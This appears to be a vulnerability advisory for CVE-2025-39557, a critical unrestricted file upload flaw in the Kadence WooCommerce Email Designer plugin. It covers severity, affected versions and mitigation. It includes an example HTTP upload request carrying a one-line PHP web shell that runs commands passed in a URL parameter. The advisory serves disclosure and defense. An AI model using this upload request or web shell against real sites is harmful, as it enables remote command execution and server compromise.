CVE-2025-39557: Severe Unrestricted File Upload Vulnerability in Kadence WooCommerce Email Designer

Overview

In the ever-evolving landscape of cybersecurity, vulnerabilities pose a significant threat to system integrity and data protection. CVE-2025-39557 is one such vulnerability that affects the Kadence WooCommerce Email Designer, a popular email design tool for WooCommerce by Ben Ritner – Kadence WP. This vulnerability allows for Unrestricted Upload of Files with Dangerous Type, which can lead to potential system compromise or data leakage. With a CVSS Severity Score of 9.1, this vulnerability is considered critical and requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39557
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Kadence WooCommerce Email Designer | Up to and including 1.5.14

How the Exploit Works

The exploit takes advantage of an unrestricted file upload vulnerability in the Kadence WooCommerce Email Designer. This allows an attacker to upload a specially crafted web shell to the server. A web shell is a malicious script that allows remote administration of the server. Once uploaded, this web shell can be used to execute arbitrary commands on the server, potentially leading to a full system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a POST request to upload the malicious web shell:

POST /upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In the above example, the attacker is uploading a PHP web shell that uses the system function to execute any command passed to it via the cmd parameter. Once uploaded, the attacker can execute arbitrary commands by making requests to the uploaded web shell, potentially leading to a full system compromise or data leakage.

Mitigation Guidance

To mitigate this vulnerability, users of the affected Kadence WooCommerce Email Designer versions are advised to apply the vendor-supplied patch immediately. As an interim measure, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.